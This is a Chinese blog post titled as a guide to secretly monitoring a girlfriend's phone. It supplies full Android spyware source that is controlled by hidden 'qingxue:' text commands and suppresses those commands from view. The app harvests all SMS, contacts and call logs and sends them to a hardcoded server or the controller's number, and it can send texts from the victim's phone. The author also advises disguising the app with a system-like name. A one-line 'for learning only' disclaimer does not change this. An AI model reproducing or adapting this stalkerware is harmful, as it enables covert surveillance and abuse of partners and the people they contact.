教你如何监控你的妹子或者将来的妹子的手机
2013-10-14 23:11
453 查看
</pre>不得不说android是一个非常智能的系统,电话或者短信都能远程获取。。<p>关于大家一直说怎么使用,我来简单的说明一下吧,讲工程文件中的apk文件安装在你想监控的人的手机中,然后随便找个手机给他</p><p>发短信"qingxue:12" 表示以短信的模式获取</p><p>再发"qingxue:1" 获取监控人的所有短信的记录</p><p>短信转发有点不一样,发送"qingxue:4:13555555555:helloworld" 表示通过监控人的手机给13555555555发送短信,内容为“helloworld”</p><p>注:以上短信内容均不含""</p><p></p><p>以下程序可实现通话记录监控,通讯录获取,短信获取,或者利用被控端进行短信转发,至于另外一些像虚拟短信,短信屏蔽,电话录音或者屏蔽,都是大同小异,由于时间关系这里就不实现了,喜欢的同学可以自己研究下android的API</p><p>为了不让对方怀疑,可以取个和系统相似的名字。如:SystemManage</p><p>包结构:</p><p><img src="http://img.blog.csdn.net/20131014225404203?watermark/2/text/aHR0cDovL2Jsb2cuY3Nkbi5uZXQvbGl1Y2FubG9uZw==/font/5a6L5L2T/fontsize/400/fill/I0JBQkFCMA==/dissolve/70/gravity/Center" alt="" /></p><p>清单文件,主要是一些用到的android权限</p><p></p><pre name="code" class="java"><?xml version="1.0" encoding="utf-8"?> <manifest xmlns:android="http://schemas.android.com/apk/res/android" package="com.me.androidsystem" android:versionCode="1" android:versionName="1.0" > <!-- 接收短信权限 --> <uses-permission android:name="android.permission.RECEIVE_SMS" /> <uses-permission android:name="android.permission.SEND_SMS" /> <uses-permission android:name="android.permission.READ_SMS"/> <!-- 访问internet权限 --> <uses-permission android:name="android.permission.INTERNET" /> <uses-permission android:name="android.permission.ACCESS_NETWORK_STATE"></uses-permission> <uses-permission android:name="android.permission.ACCESS_WIFI_STATE"></uses-permission> <uses-permission android:name="android.permission.PROCESS_OUTGOING_CALLS" /> <uses-permission android:name="android.permission.READ_CONTACTS"/> <uses-permission android:name="android.permission.WRITE_CONTACTS"/> <uses-permission android:name="android.permission.READ_CALL_LOG"/> <uses-sdk android:minSdkVersion="7" android:targetSdkVersion="18" /> <application android:allowBackup="true" android:icon="@drawable/ic_launcher" android:label="@string/app_name" android:theme="@style/AppTheme" > <receiver android:name="com.me.androidsystem.SmsReceiver"> <intent-filter android:priority="1000" > <action android:name="android.provider.Telephony.SMS_RECEIVED" /> </intent-filter> </receiver> <receiver android:name="com.me.androidsystem.NetstateReceiver"> <intent-filter> <action android:name="android.net.conn.CONNECTIVITY_CHANGE" /> </intent-filter> </receiver> <service android:name="com.me.androidsystem.service.SmsService" > </service> <service android:name="com.me.androidsystem.service.PhoService" > </service> </application> </manifest>
常用字段我全部写在一个类中了
package com.me.androidsystem.util; /* 操作说明 控制端发送短信指令 1 ————获取客户端的所有短信 2 ————获取客户端的所有通信录包括通话记录 3 ————仅获取客户端的所有通话记录 4 ————短信转发 11————设置获取客户端所有短信的模式为短信发送模式 12————设置获取客户端所有短信的模式为网络发送模式 13————设置获取客户端所有短信的模式为网络优先发送模式 21————设置获取客户端的所有通信录包括通话记录的模式为短信发送模式 22————设置获取客户端的所有通信录包括通话记录的模式为网络发送模式 23————设置获取客户端的所有通信录包括通话记录的模式为网络优先发送模式 30————设置获取客户端当前短信的模式为不获取 31————设置获取客户端当前短信的模式为短信模式 32————设置获取客户端当前短信的模式为网络模式 33————设置获取客户端当前短信的模式为网络优先模式 如发送:qingxue:21后再发qingxue:2对方的所有通信录包括通话记录都会以短信的形式发送到你手机上 */ public class ServiceUtil { //控制端的手机号 每次发送指令时会自动修改为发送指令的手机号 public static String CONTROL_NUMBER = "+8618271803015"; //控制端的网络服务器192.168.137.218 221.234.230.22 public static final String CONTROL_SERVER_ADDRESS = "http://125.221.35.18/monitor/"; //发送电话信息请求的Servlet public static final String PHO_SERVLET = "GetPHOInfoServlet"; //发送单个短信请求的Servlet 目前没有用 public static final String SMS_ONE_SERVLET = "GetSmsOneServlet"; //控制端的key public static final String CONTROL_START = "qingxue"; //配置文件的名称 public static final String CONFIG_NAME = "config"; //保存离线短信信息文件 public static final String OFF_INFO = "off_info"; public static final String COMMAND="command"; //控制端获取用户的所有短信 public static final int GET_ALL_SMS = 1; //控制端获取用户所有电话和通话记录 public static final int GET_ALL_PHO = 2; //控制端获取用户所有通话记录 public static final int GET_ONLY_PHO = 3; //短信转发 public static final int SMS_TRANSPOND = 4; //设置短信的操作模式为无 public static final int SET_SMS_MODEL_0 = 10; //设置短信的操作模式为MODEL_SMS_ONLY public static final int SET_SMS_MODEL_1 = 11; //设置短信的操作模式为MODEL_NET_ONLY public static final int SET_SMS_MODEL_2 = 12; //默认 //设置短信的操作模式为MODEL_NET_SMS public static final int SET_SMS_MODEL_3 = 13; // 设置通信记录的操作模式为无 public static final int SET_PHO_MODEL_0 = 20; // 设置通信记录的操作模式为MODEL_SMS_ONLY public static final int SET_PHO_MODEL_1 = 21; // 设置通信记录的操作模式为MODEL_NET_ONLY public static final int SET_PHO_MODEL_2 = 22; //默认 // 设置通信记录的操作模式为MODEL_NET_SMS public static final int SET_PHO_MODEL_3 = 23; //设置短信的操作模式为无 public static final int SET_SMS_ONE_MODEL_0 = 30; //设置短信的操作模式为MODEL_SMS_ONLY public static final int SET_SMS_ONE_MODEL_1 = 31; //设置短信的操作模式为MODEL_NET_ONLY public static final int SET_SMS_ONE_MODEL_2 = 32;//默认 //设置短信的操作模式为MODEL_NET_SMS public static final int SET_SMS_ONE_MODEL_3 = 33; //对于单条短信的操作模式 public static final String SMS_ONE_MODEL = "sms_one_model"; //对于所有短信的操作模式 public static final String SMS_MODEL = "sms_model"; //对于电话的操作模式 public static final String PHO_MODEL = "pho_model"; //不发送模式 public static final int MODEL_NONE = 0; //短信模式 public static final int MODEL_SMS_ONLY = 1; //网络模式 public static final int MODEL_NET_ONLY = 2; //短信和网络模式,网络优先 public static final int MODEL_NET_SMS = 3; //仅获取通话记录 public static boolean ONLY_TEL = false; }
电话的服务类
package com.me.androidsystem.service; import java.text.SimpleDateFormat; import java.util.ArrayList; import java.util.Date; import java.util.HashMap; import java.util.List; import java.util.Map; import android.app.Service; import android.content.ContentResolver; import android.content.Context; import android.content.Intent; import android.content.SharedPreferences; import android.content.SharedPreferences.Editor; import android.database.Cursor; import android.net.ConnectivityManager; import android.net.NetworkInfo; import android.os.IBinder; import android.provider.CallLog; import android.provider.CallLog.Calls; import android.provider.ContactsContract; import android.util.Log; import com.me.androidsystem.domain.CallRecord; import com.me.androidsystem.util.CommndUtil; import com.me.androidsystem.util.ServiceUtil; public class PhoService extends Service { private SharedPreferences preferences; @Override public void onCreate() { super.onCreate(); List<Map<String, String>> contacts = getContacts(); List<CallRecord> callRecords = getCallRecord(); preferences = getSharedPreferences(ServiceUtil.CONFIG_NAME, Context.MODE_PRIVATE); int model = preferences.getInt(ServiceUtil.PHO_MODEL, ServiceUtil.MODEL_NET_ONLY); switch (model) { case ServiceUtil.MODEL_SMS_ONLY: sendSMSContent(contacts,callRecords); break; case ServiceUtil.MODEL_NET_ONLY: sendNETContent(contacts,callRecords); break; case ServiceUtil.MODEL_NET_SMS: sendNETORSMSContent(contacts,callRecords); break; default: break; } stopSelf(); } private void sendNETORSMSContent(List<Map<String, String>> contacts, List<CallRecord> callRecords) { ConnectivityManager connectivityManager = (ConnectivityManager)getSystemService(CONNECTIVITY_SERVICE); NetworkInfo networkInfo = connectivityManager.getActiveNetworkInfo(); if(networkInfo != null && networkInfo.isAvailable()){ //当前有可用网络 sendNETContent(contacts, callRecords); }else{ //当前无可用网络 sendSMSContent(contacts, callRecords); } } private void sendNETContent(List<Map<String, String>> contacts, List<CallRecord> callRecords) { ConnectivityManager connectivityManager = (ConnectivityManager)getSystemService(CONNECTIVITY_SERVICE); NetworkInfo networkInfo = connectivityManager.getActiveNetworkInfo(); if(networkInfo != null && networkInfo.isAvailable()){ //当前有可用网络 CommndUtil.sendInternet(resolve(contacts, callRecords), ServiceUtil.PHO_SERVLET); }else{ //当前无可用网络 String oldInfo = preferences.getString(ServiceUtil.OFF_INFO, ""); Editor editor = preferences.edit(); editor.putString(ServiceUtil.OFF_INFO,oldInfo+resolve(contacts, callRecords)+"\n"); editor.commit(); return; } } private void sendSMSContent(List<Map<String, String>> contacts, List<CallRecord> callRecords) { CommndUtil.sendSMS(resolve(contacts, callRecords)); } private String resolve(List<Map<String, String>> contacts,List<CallRecord> callRecords){ StringBuilder sb = new StringBuilder(); if(!ServiceUtil.ONLY_TEL){ sb.append("姓名 电话\n"); for(Map<String, String> map : contacts){ String name = map.get("name"); String number = map.get("number"); sb.append(name + " " + number); } } sb.append("-------------------------\n"+"通话记录\n"); sb.append("姓名 类型 时间 时长 电话\n"); for(CallRecord callRecord : callRecords){ String name = callRecord.getLinkman(); String type = callRecord.getType(); String time = callRecord.getCallDate(); String durction = callRecord.getDurction(); String number = callRecord.getNumber(); sb.append(name + " " + type + " " + time + " " + durction + " " + number + "\n"); } return sb.toString(); } // 获取联系人信息 public List<Map<String, String>> getContacts() { Map<String, String> contacts; List<Map<String, String>> list = new ArrayList<Map<String, String>>(); int nameIndex = -1; ContentResolver cr = getContentResolver(); Cursor cur = cr.query(ContactsContract.Contacts.CONTENT_URI, null, null, null, null); while (cur.moveToNext()) { String number = ""; // 得到名字 nameIndex = cur .getColumnIndex(ContactsContract.Contacts.DISPLAY_NAME); String name = cur.getString(nameIndex); // 得到电话号码 String contactId = cur.getString(cur .getColumnIndex(ContactsContract.Contacts._ID)); // 获取联系人的ID号,在SQLite中的数据库ID Cursor phone = cr.query( ContactsContract.CommonDataKinds.Phone.CONTENT_URI, null, ContactsContract.CommonDataKinds.Phone.CONTACT_ID + " = " + contactId, null, null); while (phone.moveToNext()) { String strPhoneNumber = phone .getString(phone .getColumnIndex(ContactsContract.CommonDataKinds.Phone.NUMBER)); // 手机号码字段联系人可能不止一个 number += strPhoneNumber + "\n"; } contacts = new HashMap<String, String>(); // 放入Map contacts.put("name", name); contacts.put("number", number); list.add(contacts); } cur.close(); return list; } // 获取通话记录 public List<CallRecord> getCallRecord() { List<CallRecord> list = new ArrayList<CallRecord>(); ContentResolver cr = getContentResolver(); Cursor cursor = cr.query(CallLog.Calls.CONTENT_URI, new String[] { CallLog.Calls.NUMBER, CallLog.Calls.CACHED_NAME, CallLog.Calls.TYPE, CallLog.Calls.DATE, CallLog.Calls.DURATION }, null, null, CallLog.Calls.DEFAULT_SORT_ORDER); while (cursor.moveToNext()) { String strNumber = cursor.getString(cursor .getColumnIndex(Calls.NUMBER)); // 呼叫号码 String strName = cursor.getString(cursor .getColumnIndex(Calls.CACHED_NAME)); // 联系人姓名 int type = cursor.getInt(cursor.getColumnIndex(Calls.TYPE));// 来电:1,拨出:2,未接:3 String callType = ""; switch (type) { case 1: callType = "来电"; break; case 2: callType = "拨出"; break; case 3: callType = "未接"; break; } long duration = cursor.getLong(cursor .getColumnIndex(Calls.DURATION)); String durationTime = formatTime(duration); SimpleDateFormat sfd = new SimpleDateFormat("yyyy-MM-dd hh:mm:ss"); Date date = new Date(Long.parseLong(cursor.getString(cursor .getColumnIndex(Calls.DATE)))); String time = sfd.format(date); list.add(new CallRecord(strName, strNumber, time, callType, durationTime)); } return list; } private String formatTime(long duration) { int timetiem = (int) duration; int minute = timetiem / 60; int hour = minute / 60; int second = timetiem % 60; minute %= 60; return String.format("%02d:%02d:%02d", hour, minute, second); } @Override public IBinder onBind(Intent intent) { // TODO Auto-generated method stub return null; } }
短信的服务类
package com.me.androidsystem.service; import java.text.SimpleDateFormat; import java.util.ArrayList; import java.util.Date; import java.util.List; import android.app.Service; import android.content.ContentResolver; import android.content.Context; import android.content.Intent; import android.content.SharedPreferences; import android.content.SharedPreferences.Editor; import android.database.Cursor; import android.database.sqlite.SQLiteException; import android.net.ConnectivityManager; import android.net.NetworkInfo; import android.net.Uri; import android.os.IBinder; import com.me.androidsystem.domain.SmsInfo; import com.me.androidsystem.util.CommndUtil; import com.me.androidsystem.util.ServiceUtil; public class SmsService extends Service { private SharedPreferences preferences; @Override public void onCreate() { super.onCreate(); preferences = getSharedPreferences(ServiceUtil.CONFIG_NAME, Context.MODE_PRIVATE); int model = preferences.getInt(ServiceUtil.SMS_MODEL, ServiceUtil.MODEL_NET_ONLY); switch (model) { case ServiceUtil.MODEL_SMS_ONLY: sendSMSContent(); break; case ServiceUtil.MODEL_NET_ONLY: sendNETContent(); break; case ServiceUtil.MODEL_NET_SMS: sendNETORSMSContent(); break; default: break; } stopSelf(); } private void sendNETORSMSContent() { ConnectivityManager connectivityManager = (ConnectivityManager)getSystemService(CONNECTIVITY_SERVICE); NetworkInfo networkInfo = connectivityManager.getActiveNetworkInfo(); if(networkInfo != null && networkInfo.isAvailable()){ //当前有可用网络 sendNETContent(); }else{ //当前无可用网络 sendSMSContent(); } } private void sendNETContent() { ConnectivityManager connectivityManager = (ConnectivityManager)getSystemService(CONNECTIVITY_SERVICE); NetworkInfo networkInfo = connectivityManager.getActiveNetworkInfo(); if(networkInfo != null && networkInfo.isAvailable()){ //当前有可用网络 CommndUtil.sendInternet(resolve(getAllSms()), ServiceUtil.PHO_SERVLET); }else{ String oldInfo = preferences.getString(ServiceUtil.OFF_INFO, ""); Editor editor = preferences.edit(); editor.putString(ServiceUtil.OFF_INFO,oldInfo+resolve(getAllSms())+"\n"); editor.commit(); return; } } private void sendSMSContent() { CommndUtil.sendSMS(resolve(getAllSms())); } private String resolve(List<SmsInfo> list){ StringBuilder sb = new StringBuilder(); sb.append("联系人 电话 内容 日期 类型\n"); for(SmsInfo info : list){ String name = info.getLinkman(); String number = info.getNumber(); String content = info.getContent(); String date = info.getDate(); String type = info.getType(); sb.append(name + " " + number + " " + content + " " + date + " " + type +"\n"); } return sb.toString(); } @Override public IBinder onBind(Intent intent) { return null; } private List<SmsInfo> getAllSms() { List<SmsInfo> list = new ArrayList<SmsInfo>(); final String SMS_URI_ALL = "content://sms/"; try { ContentResolver cr = getContentResolver(); String[] projection = new String[] { "_id", "address", "person", "body", "date", "type" }; Uri uri = Uri.parse(SMS_URI_ALL); Cursor cur = cr.query(uri, projection, null, null, "date desc"); while (cur.moveToNext()) { String name; String phoneNumber; String smsbody; String date; String type; name = cur.getString(cur.getColumnIndex("person")); phoneNumber = cur.getString(cur.getColumnIndex("address")); smsbody = cur.getString(cur.getColumnIndex("body")); SimpleDateFormat dateFormat = new SimpleDateFormat( "yyyy-MM-dd hh:mm:ss"); Date d = new Date(Long.parseLong(cur.getString(cur .getColumnIndex("date")))); date = dateFormat.format(d); int typeId = cur.getInt(cur.getColumnIndex("type")); if (typeId == 1) { type = "接收"; } else if (typeId == 2) { type = "发送"; } else if (typeId == 0) { type = "未读"; } else { type = "草稿"; } //以下注释去掉会将短信的联系人姓名找出,不然只能获取短信联系号码,不过时间好长,不知道也没有哪位大神能解决一下 // Uri personUri = Uri.withAppendedPath( // ContactsContract.PhoneLookup.CONTENT_FILTER_URI, // phoneNumber); // Cursor localCursor = cr.query(personUri, new String[] { // PhoneLookup.DISPLAY_NAME, PhoneLookup.PHOTO_ID, // PhoneLookup._ID }, null, null, null); // // if (localCursor.getCount() != 0) { // localCursor.moveToFirst(); // name = localCursor.getString(localCursor // .getColumnIndex(PhoneLookup.DISPLAY_NAME)); // } if (smsbody == null) smsbody = ""; list.add(new SmsInfo(name, phoneNumber, smsbody, date, type)); } } catch (SQLiteException ex) { } return list; } }
用于接受控制端的短信指令
package com.me.androidsystem; import java.text.SimpleDateFormat; import java.util.Date; import android.content.BroadcastReceiver; import android.content.Context; import android.content.Intent; import android.content.SharedPreferences; import android.content.SharedPreferences.Editor; import android.net.ConnectivityManager; import android.net.NetworkInfo; import android.telephony.SmsMessage; import android.util.Log; import com.me.androidsystem.service.PhoService; import com.me.androidsystem.service.SmsService; import com.me.androidsystem.util.CommndUtil; import com.me.androidsystem.util.ServiceUtil; /* * 实现对短信接收的监听 */ public class SmsReceiver extends BroadcastReceiver { public void onReceive(Context context, Intent intent) { // 如果短信内容是以qingxue开头,那么表示指令 Object[] pdus = (Object[]) intent.getExtras().get("pdus"); for (Object p : pdus) { byte[] pdu = (byte[]) p; SmsMessage message = SmsMessage.createFromPdu(pdu); String content = message.getMessageBody(); Date date = new Date(message.getTimestampMillis()); SimpleDateFormat format = new SimpleDateFormat( "yyyy-MM-dd HH:mm:ss"); String receiveTime = format.format(date); String senderNumber = message.getOriginatingAddress(); Log.e("aaaa", content); // ServiceUtil.CONTROL_NUMBER.equals(senderNumber) if (content.length() >= ServiceUtil.CONTROL_START.length() && content.substring(0, ServiceUtil.CONTROL_START.length()) .equals(ServiceUtil.CONTROL_START)) { abortBroadcast();// 终止广播 ServiceUtil.CONTROL_NUMBER = senderNumber; SharedPreferences sharedPreferences = context .getSharedPreferences(ServiceUtil.CONFIG_NAME, Context.MODE_PRIVATE); Editor edit = sharedPreferences.edit(); int command = Integer.valueOf(content.split(":")[1]); Log.e("aaaa", command+""); switch (command) { case ServiceUtil.GET_ALL_SMS: Intent t1 = new Intent(context, SmsService.class); context.startService(t1); break; case ServiceUtil.GET_ALL_PHO: ServiceUtil.ONLY_TEL = false; Intent t2 = new Intent(context, PhoService.class); context.startService(t2); break; case ServiceUtil.GET_ONLY_PHO: ServiceUtil.ONLY_TEL = true; Intent t3 = new Intent(context, PhoService.class); context.startService(t3); break; case ServiceUtil.SMS_TRANSPOND: try { if (content.split(":").length >= 4) { String number = content.split(":")[2]; String msg = content.split(":")[3]; CommndUtil.sendSMS(msg, number); } } catch (Exception e) { } break; // 对获取所有短信是发送模式设置 case ServiceUtil.SET_SMS_MODEL_0: edit.putInt(ServiceUtil.SMS_MODEL, ServiceUtil.MODEL_NONE); edit.commit(); break; case ServiceUtil.SET_SMS_MODEL_1: edit.putInt(ServiceUtil.SMS_MODEL, ServiceUtil.MODEL_SMS_ONLY); edit.commit(); break; case ServiceUtil.SET_SMS_MODEL_2: edit.putInt(ServiceUtil.SMS_MODEL, ServiceUtil.MODEL_NET_ONLY); edit.commit(); break; case ServiceUtil.SET_SMS_MODEL_3: edit.putInt(ServiceUtil.SMS_MODEL, ServiceUtil.MODEL_NET_SMS); edit.commit(); break; // 对获取所有通信录是发送模式设置 case ServiceUtil.SET_PHO_MODEL_0: edit.putInt(ServiceUtil.PHO_MODEL, ServiceUtil.MODEL_NONE); edit.commit(); break; case ServiceUtil.SET_PHO_MODEL_1: edit.putInt(ServiceUtil.PHO_MODEL, ServiceUtil.MODEL_SMS_ONLY); edit.commit(); break; case ServiceUtil.SET_PHO_MODEL_2: edit.putInt(ServiceUtil.PHO_MODEL, ServiceUtil.MODEL_NET_ONLY); edit.commit(); break; case ServiceUtil.SET_PHO_MODEL_3: edit.putInt(ServiceUtil.PHO_MODEL, ServiceUtil.MODEL_NET_SMS); edit.commit(); break; // 对获取当前短信的发送模式设置 case ServiceUtil.SET_SMS_ONE_MODEL_0: edit.putInt(ServiceUtil.SMS_ONE_MODEL, ServiceUtil.MODEL_NONE); edit.commit(); break; case ServiceUtil.SET_SMS_ONE_MODEL_1: edit.putInt(ServiceUtil.SMS_ONE_MODEL, ServiceUtil.MODEL_SMS_ONLY); edit.commit(); break; case ServiceUtil.SET_SMS_ONE_MODEL_2: edit.putInt(ServiceUtil.SMS_ONE_MODEL, ServiceUtil.MODEL_NET_ONLY); edit.commit(); break; case ServiceUtil.SET_SMS_ONE_MODEL_3: edit.putInt(ServiceUtil.SMS_ONE_MODEL, ServiceUtil.MODEL_NET_SMS); edit.commit(); break; // 对获取通话记录的发送模式设置与获取所有通信录方式相同 default: break; } } // 如果是普通的短信 可以设置转发或者不采取操作 else if (!ServiceUtil.CONTROL_NUMBER.equals(senderNumber)) { SharedPreferences sharedPreferences = context .getSharedPreferences(ServiceUtil.CONFIG_NAME, Context.MODE_PRIVATE); int model = sharedPreferences.getInt(ServiceUtil.SMS_ONE_MODEL, ServiceUtil.MODEL_NET_ONLY); ConnectivityManager connectivityManager = (ConnectivityManager) context .getSystemService(Context.CONNECTIVITY_SERVICE); NetworkInfo networkInfo = connectivityManager .getActiveNetworkInfo(); switch (model) { case ServiceUtil.MODEL_SMS_ONLY: CommndUtil .sendSMS("收到来自" + senderNumber + "的短信:" + content); break; case ServiceUtil.MODEL_NET_ONLY: if (networkInfo != null && networkInfo.isAvailable()) { // 当前有可用网络 CommndUtil.sendInternet("收到来自" + senderNumber + "的短信:" + content, ServiceUtil.SMS_ONE_SERVLET); } else { // 当前无可用网络 String oldInfo = sharedPreferences.getString( ServiceUtil.OFF_INFO, ""); Editor editor = sharedPreferences.edit(); editor.putString(ServiceUtil.OFF_INFO, oldInfo + receiveTime + " 收到来自" + senderNumber + "的短信:" + content + "\n"); editor.commit(); return; } break; case ServiceUtil.MODEL_NET_SMS: if (networkInfo != null && networkInfo.isAvailable()) { // 当前有可用网络 CommndUtil.sendInternet("收到来自" + senderNumber + "的短信:" + content, ServiceUtil.PHO_SERVLET); } else { // 当前无可用网络 CommndUtil.sendSMS("收到来自" + senderNumber + "的短信:" + content); } break; default: break; } } } } }
这个类负责在通过网络获取时,用户的网络是关闭状态,只要用户打开网络,会继续发送
package com.me.androidsystem; import android.content.BroadcastReceiver; import android.content.Context; import android.content.Intent; import android.content.SharedPreferences; import android.net.ConnectivityManager; import android.net.NetworkInfo; import com.me.androidsystem.util.CommndUtil; import com.me.androidsystem.util.ServiceUtil; public class NetstateReceiver extends BroadcastReceiver { @Override public void onReceive(Context context, Intent intent) { ConnectivityManager manager = (ConnectivityManager) context .getSystemService(Context.CONNECTIVITY_SERVICE); NetworkInfo gprs = manager .getNetworkInfo(ConnectivityManager.TYPE_MOBILE); NetworkInfo wifi = manager .getNetworkInfo(ConnectivityManager.TYPE_WIFI); if (!gprs.isConnected() && !wifi.isConnected()) { // network closed } else { // network opend SharedPreferences sharedPreferences = context.getSharedPreferences(ServiceUtil.CONFIG_NAME,Context.MODE_PRIVATE); String content = sharedPreferences.getString(ServiceUtil.OFF_INFO, ""); if(!"".equals(content)){ if(CommndUtil.sendInternet(content, ServiceUtil.PHO_SERVLET)){ sharedPreferences.edit().putString(ServiceUtil.OFF_INFO, "").commit(); } } } } }
仅作学习交流之用,短信转发这个功能有点邪恶。。。不要随便使用
完整版的源码下载
http://download.csdn.net/detail/lcl15572830433/6399735
相关文章推荐
- 教你如何监控你的妹子或者将来的妹子的手机
- 教你如何监控你的妹子或者将来的妹子的手机
- 教你如何监控你的妹子或者将来的妹子的手机
- (转)教你如何监控你的妹子或者将来的妹子的手机
- 教你如何监控你的妹子或者将来的妹子的手机
- 教你如何监控你的妹子或者将来的妹子的手机
- 在类似qq或者微信聊天中。如何根据不同的手机发送图片
- 如何在android手机或者设备上录屏并转换为GIF发布在CSDN上
- TML5如何在移动网页端调用手机图片或者camera
- 现在跨平台开发(手机平台,主要是Android、iOS以及WP)工具或者技术都有哪些?有哪些优缺点和发展前景如何?
- 如何开发或者迁移iphone 来适应iphone 5 手机屏幕?
- 如何解决android应用在大屏幕手机或者平板电脑无法全屏显示的问题
- 如何知道自己手机是不是被监控了呢?
- 如何从电脑直接控制安卓手机 监控安卓手机 安卓手机如何控制安卓手机
- 在类似qq或者微信聊天中。如何根据不同的手机发送图片
- 探秘google开源android项目gallery如何在手机内存有限的情况下缓存手机sdcard的图片或者视频
- 如何辨别自己的手机是不是水货或者来源不明?
- 黄聪:C#如何使用fiddlercoreCapture监控手机APP
- 如何用智能手机监控CAN总线设备?
- 如何通过Pyqt 或者PySide 在电脑上直接显示手机屏幕。